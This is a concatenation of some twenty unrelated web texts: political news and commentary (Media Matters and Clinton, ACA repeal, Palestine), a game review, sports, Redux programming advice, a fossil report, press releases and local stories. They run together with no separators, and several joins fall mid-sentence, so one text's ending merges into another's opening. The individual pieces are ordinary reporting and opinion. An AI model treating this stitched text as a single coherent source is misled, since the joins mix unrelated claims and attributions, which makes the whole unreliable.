In our numerous conversations with past Media Matters staff, there was a consensus that in the lead-up to Clinton’s announcement of her candidacy in 2015, the organization’s priority shifted away from the mission stated on its website—“comprehensively monitoring, analyzing, and correcting conservative misinformation”—and towards running defense for Clinton. The former staffers we spoke to largely felt that this damaged Media Matters’s credibility and hurt the work it did in other areas. “The closer we got to the 2016 election the less it became about actually debunking conservative misinformation and more it became about just defending Hillary Clinton from every blogger in their mother’s basement,” one former staffer told us.
While the piece itself is an interesting look into the future of Media Matters in a post-Clinton political world, the fact that TNR treated the liberal watchdog’s pro-Clinton slant like some sort of secret earned snark from conservatives, who have claimed the same thing for the better part of a decade.
Former staffers tell us @mmfa had one standard for the Clintons, and a different one for everybody else. https://t.co/lxi34oIFma pic.twitter.com/CQlFJcWjV0 — New Republic (@NewRepublic) December 20, 2016
so much nonplus https://t.co/1vxZ6iTc86 — Jonah Goldberg (@JonahNRO) December 20, 2016
To quote @jamestaranto,
HA HA HA HA HA HA HA HA HA HA HA HA HA HA HA HA HA HA HA HAHA HA HA HA HA HA HA HA HA HA HA HA HA HA HA HA HA HA HA https://t.co/winINszTpz — David Freddoso (@freddoso) December 20, 2016
No kidding? We never noticed. https://t.co/Qk2hLQzRy1 — Mark Hemingway (@Heminator) December 20, 2016
Really??? They hid it so well https://t.co/UGGfhCy9qL — bitteranagram (@bitteranagram) December 20, 2016
In other shocking news, water is actually wet. https://t.co/udtVnf424r — Jay Caruso (@JayCaruso) December 20, 2016
In other news, water is wet, and the sun rose in the east this morning. https://t.co/YBdIiKNASQ — Ed Morrissey (@EdMorrissey) December 20, 2016
am i ever disillusioned https://t.co/8jeWbLzwXg — James Taranto (@jamestaranto) December 20, 2016
Next thing they’ll tell us @ThinkProgress is a non-partisan news outlet. https://t.co/6tnZWS5cJQ — JWF (@JammieWF) December 20, 2016
[Image via screengrab]
—
>>Follow Alex Griswold (@HashtagGriswold) on Twitter
Have a tip we should know? [email protected]’s one thing to take a Georgian or Victorian house and transform it into a showcase home, but when you’re starting with a 1970s building, the job’s always going to be trickier. This was the challenge facing interior designer Gail Race when she bought her home just outside Arundel in West Sussex.
‘To be honest, the house was really horrible,’ she says. ‘It was built in 1970 and at that time was probably very groovy – it had the whole cork-matting thing going on – but there were lots of things about the house that weren’t consistent. The windows, for example, were a mix of wood and metal.’
But they bought it anyway, ‘because it’s in a brilliant location,’ says Race. ‘It’s in a very beautiful village and is walking distance from the pub and playing fields. It was that scenario where it’s the ugliest house in the street. But it did have lots going for it – it was south facing and slightly elevated. Plus the proportions of the rooms are nice – 70s houses are often very easy to live in.’Life Is Strange Before the Storm episode 2 review - A truly memorable experience
But playing the second episode of Before The Storm, one of the legendary actor's most overlooked lines sprung into my head.
"Life is short and whatever time we get is luck."
And those words ring true with the Life Is Strange prequel - a beautiful venture back to the world of Arcadia Bay.
The second episode kicks off soon after the dramatic ending of the first, with Life Is Strange's long-running theme of action's having consequences brought to the fore.
Decisions you made in Before The Storm's opening salvo, some of them obvious game-changers and some less obvious, will come back to bite you in the ass.
It's one of the ways Life Is Strange has always drawn you into it's world, making it feel living, breathing and tangible.
READ MORE: LIFE IS STRANGE REVIEW
Actions have consequences, decisions can be pivotal - and you can be sure how you decide to tackle episode two will have a huge bearing on the finale.
But like with the original game, the main heartbeat of Before The Storm is the relationship between the two central characters - Chloe and Rachel.
Two free spirits and wild childs in their own right, drawn together while everything in their own personal lives is going to hell.
For Chloe, it's the loss of her father, abandonment of her best friend, and difficulties dealing with a changing and upsetting home dynamic.
For Rachel, it's the swift destruction of her relationship with her own father and being beguiled by someone who on outside appearances seems the complete opposite of her.WASHINGTON — A plan to cleanly repeal the Affordable Care Act appears to have failed in the Senate after three GOP lawmakers said they would not vote to proceed with the latest attempt to reform the health care system.
Shortly after Sens. Mike Lee, R-Utah, and Jerry Moran, R-Kan., said Monday night they would not even vote to allow the original repeal-and-replace proposal to come to the Senate floor, Senate Majority Leader Mitch McConnell, R-Ky., announced he would scrap that plan and move forward with repealing former President Barack Obama’s signature legislation.
“I regret that the effort to repeal and immediately replace the failures of Obamacare will not be successful. That doesn’t mean we should give up,” McConnell said on the Senate floor Tuesday. We will now try a different way to bring the American people relief from Obamacare — I think we owe them at least that much.”
And though that proposal has the support of President Donald Trump, McConnell appears to lack the votes to undo the ACA with no plan to replace it — even though Republicans have been campaigning on that promise for years. They voted for the same thing two years ago, when the certainty that President Obama would veto it made it a cost-free move to please Republican voters.
But now at least three lawmakers have said they would not vote to repeal it this time around, effectively killing the proposal because McConnell can only afford to lose two members and still advance any bill.
Sen. Shelley Moore Capito, R-W. Va., quickly became the first lawmaker to come out against a repeal-only plan. Despite voting to repeal the ACA in the past, Capito said she was concerned about the effect doing so would have on her home state.
Related slideshow: Protesters across the country oppose GOP’s health care plan >>>
“My position on this issue is driven by its impact on West Virginians,” Capito said in a statement. “With that in mind, I cannot vote to repeal Obamacare without a replacement plan that addresses my concerns and the needs of West Virginians.”
Sen. Susan Collins, R-Maine, quickly followed, reiterating her past opposition to undoing the ACA.
“I do not think it is constructive to repeal a law that is so interwoven within our healthcare system without a replacement in place,” Collins said in a statement. “We can’t just hope to pass a replacement in the next two years.”
And Sen. Lisa Murkowski, R-Alaska, delivered what seemed to be the fatal blow early in the afternoon, telling NBC News that she was “not there” on the repeal-only bill.
“I said in January we should not repeal without a replacement, and just an indefinite hold on this creates more chaos and confusion,” she said.
Another potential roadblock is the procedural maneuvering McConnell needs to do to arrive at a vote to repeal the 2010 law. In a statement Monday night, he said he would bring the House-approved replacement for the ACA to the floor with the intention of passing an “amendment” that substitutes a full repeal to take effect in two years — a move designed to buy lawmakers time to devise a new system.
Sen. Shelley Moore Capito, R-W.Va., speaks with reporters about the Senate health care bill on Capitol Hill in Washington, D.C., on July 12, 2017. (Photo: Aaron P. Bernstein/Reuters) More
That amendment is the same as 2015’s symbolic repeal bill. But to even introduce it, McConnell will first have to convince hesitant senators to begin debate on the House bill, which was considered “dead on arrival” in the Senate when it passed in May.
Sen. Jeff Flake, R-Ariz., voted for the 2015 bill and said he would do so again if the amendment came to a vote, but he did not know if he would even support bringing the House bill to the floor.
“I’m still trying to understand the implications of bringing up the House bill,” Flake told reporters.
Sen. Rob Portman of Ohio did not say whether he would support the motion to proceed, but expressed concern about the uncertainty a repeal-only bill would create.In honor of Bike to Work Day, the Young Geo Professional Group is hosting a group bike ride from the Embarcadero to the Pan Handle following San Francisco's beloved bike path, the Wiggle! Whether you are a daily rider or breaking out your bike for the special occasion, we would love your company. The plan is to ride to the Pan Handle, about three miles in, and stop there for a snack or drink.
Look for Daniel who will have a map flag at the southern end of the plaza at 6p. He will be at the small stairwell leading up to the Hyatt at the southeastern corner of the hotel. We'll ride at 6:15, finalizing our route together, with the possibility of adding in a visit to the SF Bike Coalition's Party.
We hope to see you then!12 Pages Posted: 6 Oct 2008
Date Written: October 5, 2008
Abstract
Governor Palin's 2006 and 2007 tax returns create several teaching opportunities for basic tax classes. This paper analyzes five substantive issues created by the returns and by a legal opinion letter written by Roger Olsen on some of the issues.
The five issues are: (1) the proper treatment of $17,000 paid to Palin by the state of Alaska as her travel allowance; (2) the proper treatment of $43,000 paid to Palin as a travel allowance for her husband and children; (3) the proper treatment of a $9,000 loss claimed for her husband's racing activity; (4) whether the Palins are subject to the penalties for negligence; and (5) whether Mr. Olsen's letter meets the standards for tax practice in Circular 230.SAN FRANCISCO: A Hijab-clad Muslim student was allegedly struck in the face with a glass bottle in broad daylight at a university campus in the US, the latest in a series of hate incidents in which headscarf-wearing women have been targeted following Donald Trump's win.The Council on American Islamic Relations has offered a reward of $ 5,000 for information that leads to the arrest and conviction of whoever assaulted Nasro Hassan, a 19-year- old a Somali American student, on the campus of the University of Washington, Seattle.Hassan was wearing a head scarf when she was hit in the face with a glass bottle. The attack happened in broad daylight on November 15."The incident, which possibly fits a pattern of hate attacks against American Muslim women locally and nationwide, has caused a wave on concern on campus for their own security," Arsalan Bukhair, executive director of CAIR of Washington, was quoted as saying as Seattle Post- Intelligencer.The student suffered bruises on her face and a concussion. Mina Sultana, co-president of the Muslim Student Association at the University of Washington (UW), said the assault has increased concerns about the safety."Since the incident fear about personal safety has increased significantly among Muslim students on campus," she said.Students and leaders are especially concerned because they say UW police failed to notify the campus community about the assault. The department says it followed federal criteria about informing students of criminal activity on campus.Major Steve Rittereiser of the UW police was quoted as saying, "This particular situation didn't fit that criteria. It's listed as an assault case, and an assault case general doesn't get that type of notification."Ayn S Dietrich, spokeswoman for the FBI's Seattle office, said the agency was aware of the incident but would "defer to the investigation by the primary responding agency, and maintain communication should our partners develop information that suggests a federal crime was committed."The incident comes amid a slew of intimidation and assault cases that have been reported across the country against hijab-clad women post election.Earlier this month, a hijab-clad woman was allegedly accosted at a US store by another customer who called her a "terrorist" and told her to "get out" of the country.Also, a Muslim student's hijab was allegedly ripped off and her hair pulled down by a classmate at a school in Minnesota.In another incident, a Muslim student of Michigan University was approached by an unidentified man who yelled at her and threatened to set her on fire if she did not remove her hijab.Feb 28, 2017; Washington, DC, USA; Golden State Warriors forward Kevin Durant (35) holds his knee after being injured against the Washington Wizards in the first quarter at Verizon Center. Mandatory Credit: Geoff Burke-USA TODAY Sports
The Washington Wizards sneaked past the Golden State Warriors Tuesday night at Verizon Center as Warriors’ Kevin Durant exited early in the first quarter with a knee injury and did not return.
Before Tuesday’s Washington Wizards Golden State Warriors game, a story from the Washington Post surfaced which involved some telling quotes from Washington, D.C. native, and NBA superstar Kevin Durant.
In an interview with Washington Post’s Tim Bontemps and Adam Kilgore, Durant revealed why he didn’t consider the Wizards last offseason by saying, “I don’t want to open up anything in the past, but I really just didn’t want to play at home.”
Durant continued by saying, “It was nothing about the fans. Being at home, I was so happy with that part of my life — playing at home, being in front of friends, hanging with friends and family every day. That was a part of my life that has come and gone.”
Meanwhile, Durant made his lone appearance of the season to his beloved hometown as a sold out crowd packed the Verizon Center.
However, just 93 seconds into the Warriors Wizards contest, Durant grimaced in pain while grabbing his left knee after Warriors’ Zaza Pachulia apparently was pushed into Durant by Wizards’ center Marcin Gortat.
Your browser does not support iframes.
Soon after Durant headed to the Warriors’ locker room, CSN’s Chris Miller reported that Durant was en route to receive an MRI and would not return to the game.
Kevin Durant suffered a hyperextended left knee heading to get an MRI. Ruled out for the rest of the game. #NBA #WizWarriors #DCFamily — Chris Miller 🎥🎙🏀 (@cmillsnbcs) March 1, 2017
Now back to the game which still featured NBA superstars John Wall, Bradley Beal, Stephen Curry, and Klay Thompson to keep the sellout crowd satisfied after many came to see the renowned Durant in his hometown.
The Wizards dominated the first quarter of play, jumping out to a 19-point lead with 2:20 remaining in the opening quarter. With the aid of Bradley Beal’s 16 points after the opening quarter, the Wizards entered the second quarter up 40-26 against one of Western Conference elites.
After the Wizards lead the entire first half, the Warriors, behind Curry’s 15 third quarter points, outscored the Wizards 36-to-24 and completed the comeback by taking the 80-79 lead with a little over two minutes left in the third.
Heading into the final quarter, the Warriors and Wizards were tied at 85 as the energy inside Verizon Center evolved into a playoff-like atmosphere.
A seesaw fourth quarter battle evaporated all thoughts of the Wizards stellar first half performance as the game was tied yet again at 108 with just 41.7 seconds remaining. Then after Wall’s missed shot, rising star Otto Porter grabbed his second offensive rebound of the night and drew the foul on the putback attempt. Porter converted on both free throws to take a two-point lead and the Wizards never looked back, securing the 112-108 win.
Wall tied his career-high 19 assists along with 12 points to gather his 38th double-double of the season. Beal finished with 25 points and Marcin Gortat earned his 32nd double-double with 12 points and 12 rebounds.
With the win, the Wizards quickly jump back into third place in the Eastern Conference and just three games back from the Boston Celtics and four games behind the first-place Cleveland Cavaliers.
The Wizards return to play Wednesday as they travel for a key Eastern Conference matchup against the Toronto Raptors.
Lastly, according to ESPN’s Chris Haynes, Brandon Jennings and the Washington Wizards came to a verbal agreement on a deal as the Wizards continue to bolster their bench in efforts of an NBA championship run.When asked to reveal their influences, builders can come up with some pretty odd answers. But I don’t think I’ve ever seen “a wood-burning stove” credited before.
‘Moon’ comes from Thrive Motorcycle of Jakarta, and they have an unusual method for finding out what their customers like. Putra Agung explains: “We asked the client, ‘What’s on your mind right now?’ and he answered, ‘A wood-burning stove.’” The stove in question turned out to be a Mendip Loxton, an angular English creation usually finished in a dark charcoal enamel.
Wood-burning stoves are not common in Indonesia. After all, temperatures rarely drop beneath 25°C (77°F). But that stove became the inspiration for this build, which is based a Yamaha XS650.
Given the rarity of larger-capacity bikes in Indonesia, obtaining and customizing an XS650 is no mean feat in itself: It took
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component I had to go through all parent components and add the new data as props.
What I should have done
I should have denormalized my data inside mapStateToProp.
My components would have had direct access to the data they needed, rather than having to assemble the data themselves.
Denormalizing data in mapStateToProp instead of in the component’s render method would also have made it easier to re-use denormalization code. The code could have been moved into selector functions and used in the mapStateToProp function of different components.
In addition to the amount of code required to pass data through the component tree, normalized data also makes it harder to fetch the data in the component’s render method. To display the author of a post I have to do this with normalized data:
users [ post. author. id ]. name
Whereas if I denormalize the data first the access is simpler:
post. author. name
2) Exporting action types and creators using ES6 named exports
Looking through the Redux documentation you will find code like this:
export const ADD_TODO = 'ADD_TODO' export function addTodo ( text ) { return { type : ADD_TODO, text } }
This code uses the ES6 module syntax to export values that can then be imported individually:
import { addTodo } from "./actions.js"
This has some advantages that are mentioned in the redux docs. For example, if an action type is mistyped it will be obvious right away, since the imported value will be undefined. It also makes it easy to keep track of all available actions since they are explicitly listed.
In theory it also allows static import checking, since every exported value is explicitly defined. But, I suspect most projects don’t currently take advantage of that.
I eventually found the suggested structure very limiting. A lot of my actions did similar things to different data types, e.g. ADD_TODO, ADD_POST, ADD_USER, …
Using the ES6 export made it harder to split my code into different files, import all actions, and then re-export all of them in one go.
It also meant that even when I had written a re-usable generator function for common actions and action creators I still had to manually import them.
What I should have done
My Redux logic was essentially a database running on the front-end. I should have used some kind of ORM, either as a library or just writing my own generator logic from the start.
Rather than separating actions, action creators and reducers I ended up writing a generator function that can create all three at once.
I pass the name of the data type (e.g. “users”) into the generator function. The generator function is then able to generate common actions like “add” and handle them in the reducer.
Where necessary I can still create my own custom action creators.
I can also add custom handler functions to the reducer, but often the generated handler will be enough.
I keep track of all action types I create, so I’m still able to do all of these things:
See what actions and action creators are available
Check that no reducer is trying to handle an action type that doesn’t exist
Check that no action creator is creating an action object with an unknown type
General Advice
I’m happy with my Redux setup now, and I enjoy working with it. However, it took me a bunch of work to get there. Making how your app interacts with your data more explicit takes time.
It’s easy to get carried away worrying about performance and purity. But I found React to be very fast, and re-running some data logic a few times didn’t affect my app’s performance in a noticeable way. Denormalizing data even when not strictly necessary made it easier to build my app.
For small projects it’s also worth asking yourself if you really need Redux. Maybe some global state is enough. Doing a full app re-render might not be so bad, and you can still opt out selectively where appropriate."Palestine" is no more. Call it a "peace process" or a "road map"; blame it on Barack Obama's weakness, his pathetic, childish admission – like an optimistic doctor returning a sick child to its parents without hope of recovery – that a Middle East peace was "more difficult" to reach than he imagined.
But the dream of a "two-state" Israeli-Palestinian solution, a security-drenched but noble settlement to decades of warfare between Israelis and Palestinians is as good as dead.
Both the United States and Europe now stand idly by while the Israeli government effectively destroys any hope of a Palestinian state; even as you read these words, Israel's bulldozers and demolition orders are destroying the last chance of peace; not only in the symbolic centre of Jerusalem itself but – strategically, far more important – in 60 per cent of the vast, biblical lands of the occupied West Bank, in that largest sector in which Jews now outnumber Muslims two to one.
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This majority of the West Bank – known under the defunct Oslo Agreement's sinister sobriquet as "Area C" – has already fallen under an Israeli rule which amounts to apartheid by paper: a set of Israeli laws which prohibit almost all Palestinian building or village improvements, which shamelessly smash down Palestinian homes for which permits are impossible to obtain, ordering the destruction of even restored Palestinian sewage systems. Israeli colonists have no such problems; which is why 300,000 Israelis now live – in 220 settlements which are all internationally illegal – in the richest and most fertile of the Palestinian occupied lands.
When Obama's elderly envoy George Mitchell headed home in humiliation this week, Israeli Prime Minister Benjamin Netanyahu celebrated his departure by planting trees in two of the three largest Israeli colonies around Jerusalem. With these trees at Gush Etzion and Ma'aleh Adumim, he said, he was sending "a clear message that we are here. We will stay here. We are planning and we are building." These two huge settlements, along with that of Ariel to the north of Jerusalem, were an "indisputable part of Israel forever."
It was Netanyahu's victory celebration over the upstart American President who had dared to challenge Israel's power not only in the Middle East but in America itself. And while the world this week listened to Netanyahu in the Holocaust memorial commemoration for the genocide of six million Jews, abusing Iran as the new Nazi Germany – Iran's loony president supposedly as evil as Hitler – the hopes of a future "Palestine" continued to dribble away. President Ahmadinejad of Iran is no more Adolf Hitler than the Israelis are Nazis. But the "threat" of Iran is distracting the world. So is Tony Blair yesterday, trying to wriggle out of his bloody responsibility for the Iraq disaster. The real catastrophe, however, continues just outside Jerusalem, amid the fields, stony hills and ancient caves of most of the West Bank.
We’ll tell you what’s true. You can form your own view.
At The Independent, no one tells us what to write. That’s why, in an era of political lies and Brexit bias, more readers are turning to an independent source. Subscribe from just 15p a day for extra exclusives, events and ebooks – all with no ads.
Subscribe nowBELLEVUE, Wash., June 14, 2011 /PRNewswire-USNewswire/ -- The Second Amendment Foundation has been joined by 17 other firearms rights groups in an amicus brief filed in a case now before the Tenth Circuit Court of Appeals, challenging laws that prohibit the carrying of firearms by law-abiding non-resident U.S. citizens in Denver, Colorado.
The case, Peterson v. Garcia, was filed by Washington state resident Gray Peterson, who cannot exercise his right to bear arms because Colorado statute prohibits the issuance of a concealed carry permit to non-residents, and does not recognize Peterson's Washington license or his Florida carry permit because he is not a Florida resident. Denver bans the open carry of firearms, leaving Peterson – who visits Colorado frequently – without any legal means of carrying a firearm for his personal protection.
"This is a case that affects citizens in at least 20 states and the District of Columbia," noted Miko Tempski, SAF legal affairs director. "We've been joined by organizations from 16 of those states in this brief, because they all have members who may travel to Colorado and face the same problem if they enter the City of Denver."
Joining SAF are the Buckeye Firearms Foundation (Ohio), Citizens' Rights Action League (Rhode Island), Commonwealth Second Amendment (Massachusetts), Connecticut Citizens Defense League, Calguns Foundation, Inc. (California), Gun Owners Civil Rights Alliance (Minnesota), Hawaii Defense Foundation, Illinois Carry, Illinois State Rifle Association, Maine Open Carry Association, Maryland Shall Issue, Oregon Firearms Educational Foundation, Wisconsin Carry, Inc., SCOPE, Inc. (New York), Stillwater Firearms Association (Nevada), Virginia Citizens Defense League, Inc. and West Virginia Citizens Defense League, Inc. All are state-focused non-profit organizations dedicated to preserving, defending and promoting firearms rights.
"The Second Amendment doesn't only say you have a right to keep arms," Tempski continued, "it also stipulates that citizens have the right to bear arms. Because of our successful lawsuit in the McDonald case last year, leading to the Supreme Court's ruling that the Second Amendment applies to state and local governments, the right to bear arms is very much at issue with Mr. Peterson's challenge. Any law or ordinance that touches on this right must be held to the strictest of scrutiny."
The Second Amendment Foundation (www.saf.org) is the nation's oldest and largest tax-exempt education, research, publishing and legal action group focusing on the Constitutional right and heritage to privately own and possess firearms. Founded in 1974, The Foundation has grown to more than 650,000 members and supporters and conducts many programs designed to better inform the public about the consequences of gun control.
SOURCE Second Amendment Foundation This weekend 60 amazing local makers, artist and shops in the Annex Greenhouse $4 @ door Kids Free Sound Providers Saturday: 10-12 Andy Noble 12-2 Nesh Malinovic 2-4 Kid Millions Sunday: 10-12 David Arnevik 12-2 Old Man Malcolm 2-4 Selector Max
2018 Vendor List A Happy Thought Indeed AdventureMouse Wares Africa Alive Andria Green AnnKat Designs Artery Ink Beth Eaton Pottery Beyaz Bohemia Bolted Vintage BrokenWingedBird Bureau of Print Research and Design CityTins CIVAL Collective Cracked Designs Center Earth Cream City Soap Company Creature Woodcraft Dan Atkinson Works Danidorem Directive Drawstring Studio Dynamo Fern&Nettle fruit. Hawthorne Coffee Roasters Heavy Rotation Historic Milwaukee, Inc. J.R. Busch Images James Steeno Gallery JIMBOT Josiah Eidmann Studios junior's Veggie soul Karen Williams-Brusubardis Katie Gamb Art & Illustration Kiki & Bee Kinaloon Lalo Workshop Lana Vosk LiquitexLover Marimel MKE Beard Book My Dandelion Heart NIFFICH Orange Pops Orchard Street Apparel Peepal tree Plume Press Shovel + Spade Sister Golden Hair Small Shops United Solder & Sage Tactile Craftworks The Bezert The Bohemian Bauble Tippecanoe Herbs Waxing Gibbous Tarot Collective WEST HARRIET Yarnival Zewing Girl The thorny issue of how to discourage illegal camping in Eugene may take a toll on some hard-to-find roses that line the entry into the Owen Rose Garden next to the Willamette River.
City workers last week pruned the 11 large rosebushes along North Jefferson Street with plans to dig them up and replant them in the garden proper later this year when they�re dormant and have a better chance to survive the move.
The effort aims to remove the shrubbery that provided cover to an illegal camp that homeless people set up within a fenced-off area along the street.
The Oregon Department of Transportation installed the fences to keep people away from the adjacent Interstate 105 and the area underneath it.
Last week, the Lane County Sheriff�s Office work crew removed overgrown vegetation on ODOT-owned property behind the fence.
But the fence hasn�t proved much of a deterrent to the homeless. They have cut holes in it to illegally camp in the area and engage in nuisance and illegal activity, according to the city and neighbors.
Kevin Foerstler, a supervisor for the city�s parks department, said illegal camping in the area has ramped up recently and prompted neighbors to call police.
Emily West Hartlerode, vice chairwoman of the Whiteaker Community Council who lives near the rose garden, said she has seen illegal camping behind the fence.
Earlier this summer, Hartlerode said she called police after observing three men cutting the fence with clippers. More recently, she saw tarps hung on the fence to shield a camp from public view.
Last summer, she said, neighbors had �big issues� with homeless people drinking and sleeping behind the fence.
�You�re never sure what�s happening,� she said. �Whether they�re finding a covered place to get out of the elements... or using that visual cover to cover up something illegal.�
She said residents in the Whiteaker community have a level of tolerance and hospitality for people living on the fringes of society.
But she said the council is hearing a strong sentiment from the community that �we have reached our max.�
The neighborhood is the home of the Eugene Mission, where hundreds of people sleep and eat each day. The city�s five sanctioned overnight homeless camps, or rest stops, are in the neighborhood or close to its western boundary.
Clay Manders, the garden�s field lead, said the roses were planted about a half-century ago when the boundaries of the garden extended far beyond where they are today.
Manders said the five identified varieties of roses to be moved, including Mermaid and Madame Alfred Carrier, are �uncommon in the trade.� She found only one nursery in the United States that sells those two varieties, she said, and a third variety, F�licit� et Perp�tue, was only sold overseas. The two other varieties are unknown.
Manders said the roses will be dug up and replanted when they�re dormant in November or December. Their survival is not guaranteed.
�We�re going to do our best to try and preserve them,� she said.
Manders added: �I�d like to be able to leave them where they are. Until things change with the culture around illegal camping, then (moving them is) what we have to do.
�I want neighbors to feel safe, and if I have to move roses to be able to do that, then that�s what we will do.�
Manders said some Owen Rose Garden volunteers and regular park patrons are upset about the attempt to move the roses.
The garden features more than 4,000 roses of about 400 different varieties. The varieties to be moved into the city-owned park aren�t currently planted there.
The garden got its start when the Eugene Rose Society donated the original 750 rose bushes shortly after George Owen, a former city councilor and lumberman, donated five acres with his house to the city in 1951.
Follow Christian on Twitter @RGchill. Email [email protected].× Pardon the interruption. Fellow producers, I've been running the Art Generator since 2010 and I'm in a bit of a bind, I've got a massive unexpected car repair bill and hate to put my tin cup out and rattle it on this street corner, but if anyone is able/willing to assist me with this unexpected expense, the tip jar in the footer would be VERY helpful. Be sure to take care of Adam and John first - value for value
Welcome to the No Agenda Art Generator
About this site
The purpose of the Album Art Generator is to help producers of the No Agenda Show submit and create album cover art for Adam and John to choose from.
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To use the tool, create an account and then choose "Submit Artwork." You'll then be asked to choose an overlay style and then upload your artwork and pitch. We provide a tool to easily crop your image and we'll automatically overlay the standard No Agenda logo and frame (appropriated from Sir Randy Asher and Sir Paul T.)
Your artwork will be added to the submissions gallery and, if accepted, will be added to the Accepted Artwork gallery for posterity. If you don't want to make artwork, you can browse the galleries when you are in-between listening to the show and punching people in the mouth.Award-winning bookbinder is reinventing craft
Bookbinder, Manuel Mazzotti at the cutting machine in his studio in Hackney. Archant
A Stoke Newington bookbinder has been awarded a coveted scholarship from the Prince of Wales that will enable him to hone his craft in Switzerland.
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Bookbinder, Manuel Mazzotti with finished books in his studio in Hackney. Bookbinder, Manuel Mazzotti with finished books in his studio in Hackney.
Manuel Mazzotti, 37, of Manor Road, was presented with the Clothworker’s Company Scholarship, on behalf of crafts charity, Queen Elizabeth Scholarship Trust (QUEST) at a special ceremony in St James’ Palace.
He said: “I am really privileged and happy to receive the scholarship as it is the gift of time, which is a luxury in a particularly difficult time for craft makers to push our skills.
“I will be spending two weeks in Switzerland in November learning with Hedi Kyle, an American book artist; she is really well known for her pop-up origami structures.
“I would never have found the money to have a one-to-one with my favourite book artist; even if you earn it you tend to reinvest in your own businesses instead of taking such a big luxury to learn from your favourite craft master.
“Usually craft is associated with tradition, but in order to move forward you need time to explore things and learn.
“When you are a craftmaker you are busy making your living and you don’t have the luxury of time to explore new techniques.
“Having someone who is backing time and money in order for you develop your own skills is great and ensures that craft is not self repetitive – that there is a new way of exploring a traditional craft.”
Hailing from an engineering background, Manuel has only been bookbinding for five years.
The hobby quickly spiraled into a full business as he saw a gap in the market for the traditional craft to be revitalised.
Working from his studio, Manuel collaborates with artists, designers and book lovers to create bespoke, hand-bound books that push the boundaries of traditional design.
He said: “I am really interested in structure and folding, like origami, and applying that to bookbinding. Nowadays books are made by machines and they are all the same.
“A simple experience we all have is that they are different to open – if you open them flat they break because the spine is glued. A handmade book opens differently, you can lay it flat which is a simple thing that makes a huge difference in the object that you have – if it is a photographic book for example it can be a very meaningful experience.”
Manuel added: “My next aim is to bridge the gap between a publishing company and a bindery.
“I think there are a lot of self publishing platforms so if someone can just print 1,000 copies easily and cheaply it is great but at the same time, I feel the books can look the same. There is space to combine the service so that maybe out of 100 books, you can have 30 which are limited edition and unique.
“I am offering that service: you come to me with an idea, I can guide you through each step and make something really special.”A team of paleontologists, led by Dr Dave Martill from the University of Portsmouth, UK, has found a unique four-legged specimen in the Crato Formation of Brazil.
The snake, named Tetrapodophis amplectus, lived during the Early Cretaceous, around 110 million years ago.
At the time, South America was united with Africa as part of a supercontinent known as Gondwana. The presence of the oldest definitive snake fossil on the ancient supercontinent suggests that snakes may originally have evolved there, and only became widespread much more recently.
The specimen is a juvenile and very small, measuring just 8 inches (20 cm) from head to toe, although it may have grown much larger. It lacks the long, laterally compressed tail typically found in aquatic animals, suggesting that snakes did not evolve from marine ancestors.
But the most remarkable thing about this snake is the presence of two sets of legs.
The front legs are very small, about 0.4 inches (1 cm) long, but have little elbows and wrists and hands that are just five millimeters in length. The back legs are slightly longer and the feet are larger than the hands and could have been used to grasp its prey.
“It is generally accepted that snakes evolved from lizards at some point in the distant past. What scientists don’t know yet is when they evolved, why they evolved, and what type of lizard they evolved from,” said Dr Martill, first author of a paper published in the journal Science.
“This fossil answers some very important questions, for example it now seems clear to us that snakes evolved from burrowing lizards, not from marine lizards.”
Tetrapodophis amplectus would have lived on the bank of a salt lake, surrounded by succulent plants.
The snake would probably have lived on a diet of small amphibians and lizards, trying to avoid the dinosaurs and pterosaurs that lived there.
“Tetrapodophis amplectus is a perfect little snake, except it has these little arms and legs, and they have these strange long fingers and toes,” added co-author Dr Nick Longrich from the University of Bath, UK.
“The hands and feet are very specialized for grasping. So when snakes stopped walking and started slithering, the legs didn’t just become useless little vestiges – they started using them for something else. We’re not entirely sure what that would be, but they may have been used for grasping prey, or perhaps mates.”
Interestingly, the snake also has the remains of its last meal in its guts, including some fragments of bone.
The prey was probably a salamander, showing that snakes were carnivorous much earlier in evolutionary history than previously believed.
“The preservation of the little snake is absolutely exquisite. The skeleton is fully articulated. Details of the bones are clearly visible and impressions of soft tissues such as scales and the trachea are preserved,” said Germany paleontologist Dr Helmut Tischlinger, co-author on the study.
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David M. Martill et al. 2015. A four-legged snake from the Early Cretaceous of Gondwana. Science, vol. 349, no. 6246, pp. 416-419; doi: 10.1126/science.aaa9208Internet giant Amazon has announced that it is to create 300 jobs at its Dublin offices over the next two years.
The jobs will be across a variety of positions, including software engineers, technical engineers, technical managers, customer support and IT security.
The company has been in Ireland since 2004 and already employs 1,400 staff between offices and data centres in Dublin and Cork.
It has invested €1.5bn in the local economy over the past decade.
The company said it is choosing to expand in Ireland because of the range of people with technical, language and customer service expertise.
All areas of Amazon's business are served by its Irish operations, including the retail website Amazon.com, the digital business including Kindle e-readers, and the Amazon Web Services cloud computing division.
The company is building two additional floors in its Dublin offices to accommodate the new staff.
Those new floors will bring the total space occupied by Amazon in the Dublin offices to more than 100,000sq.ft and give the company further room to expand.
The new space will not be ready until next year, but recruiting for the new positions begins immediately.
The investment is supported by the Department of Jobs through IDA Ireland.
The announcement was made at an event attended by Taoiseach Enda Kenny and Minister for Jobs, Enterprise and Innovation Richard Bruton.Jon Stewart has been heralded by the media in recent weeks as everything from a “genius” to the Walter Cronkite of our generation to even a “messiah” who “changed the world.” But as we approach the end of his 16-year run as host of The Daily Show this Thursday, I must dissent from all these hosannas and tell you there’s one thing Stewart was very wrong about.
I discovered Stewart’s “big mistake” a little over three years ago when I, along with my co-director Negin Farsad, interviewed him in connection with our comedy documentary, The Muslims Are Coming! We asked Stewart about whether he believed his work on The Daily Show had a real impact on issues.
Stewart’s response was a resounding no. Assuming he was simply being modest, we pressed the late-night host. But Stewart made it clear that he sincerely didn’t believe he had moved the needle on the issues he had railed against over the years. He even ticked off examples of where he had failed to cause change despite his best efforts, such as the hypocrisy of politicians, big money in politics, and the media’s sensationalizing of stories in pursuit of ratings.
These comments by Stewart have been kicking around my head a lot in the last few days as we approach the end of his tenure on The Daily Show. And after a great deal of thought, I have to come to this conclusion: Stewart was absolutely and unequivocally wrong. Not only has Stewart influenced many issues to varying degrees, he also had a profound impact on my own life.
The one issue that jumps out where Stewart had a tangible impact was funding for the first responders who had contracted chronic illnesses while working at Ground Zero. In 2010, a measure to provide funding to help these first responders was pending in Congress, but Senate Republicans used a filibuster to block the bill.
In stepped Stewart, who championed the issue by featuring a panel of first responders on his show. Within three days of that episode, the bill passed. Kenny Specht, the founder of the New York City Firefighter Brotherhood Foundation, summed up what Stewart meant to the passage of this bill: “I’ll forever be indebted to Jon because of what he did.”
